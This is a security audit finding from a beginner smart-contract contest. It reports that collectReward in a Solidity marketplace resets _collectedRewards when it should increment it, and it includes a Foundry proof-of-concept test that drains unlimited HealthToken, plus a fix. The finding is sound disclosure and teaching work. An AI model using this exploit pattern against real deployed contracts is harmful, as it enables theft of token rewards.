First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`MartenitsaMarketplace::collectReward` does not keep track of the real `amountRewards` leading to infinite reward.

n0kto

Description

MartenitsaMarketplace::collectReward distribute rewards according the number of MartenitsaToken owned by the caller.
Problem is that _collectedRewards is not increased but reset by amountRewards. For example, a user with 3 tokens will call the function to have a reward and if they buy again 3 token, call collectReward again, the amountRewards will be 1 (because reward has already been collected) and set the _collectedRewards back to 1 instead of 2. A malicious user can now continue calling collectReward to earn infinite HealthToken.

function collectReward() external {
require(
!martenitsaToken.isProducer(msg.sender),
"You are producer and not eligible for a reward!"
);
uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(
msg.sender
);
​
uint256 amountRewards = (count / requiredMartenitsaTokens) -
_collectedRewards[msg.sender];
if (amountRewards > 0) {
@> _collectedRewards[msg.sender] = amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}

Risk

Likelyhood:

  • Anyone, Anytime : cost 6 MartenitsaToken

Impact:

  • Infinite HeathToken minting

Proof of Concept

Foundry PoC to add in `HealthToken.t.sol`
function testInfiniteDistribution() public {
address attacker = makeAddr("attacker");
vm.startPrank(attacker);
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
marketplace.collectReward();
​
assertEq(healthToken.balanceOf(attacker), 1e18);
​
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
martenitsaToken.updateCountMartenitsaTokensOwner(attacker, "add");
marketplace.collectReward();
​
// collect infinite rewards without having more MartenitsaToken
marketplace.collectReward();
marketplace.collectReward();
marketplace.collectReward();
marketplace.collectReward();
marketplace.collectReward();
​
assertEq(healthToken.balanceOf(attacker), 7e18);
vm.stopPrank();
}

Recommended Mitigation

Increase _collectedRewards instead of replacing it :

function collectReward() external {
require(
!martenitsaToken.isProducer(msg.sender),
"You are producer and not eligible for a reward!"
);
uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(
msg.sender
);
​
uint256 amountRewards = (count / requiredMartenitsaTokens) -
_collectedRewards[msg.sender];
if (amountRewards > 0) {
- _collectedRewards[msg.sender] = amountRewards;
+ _collectedRewards[msg.sender] += amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}
Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

_collectedRewards is not updated correctly

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.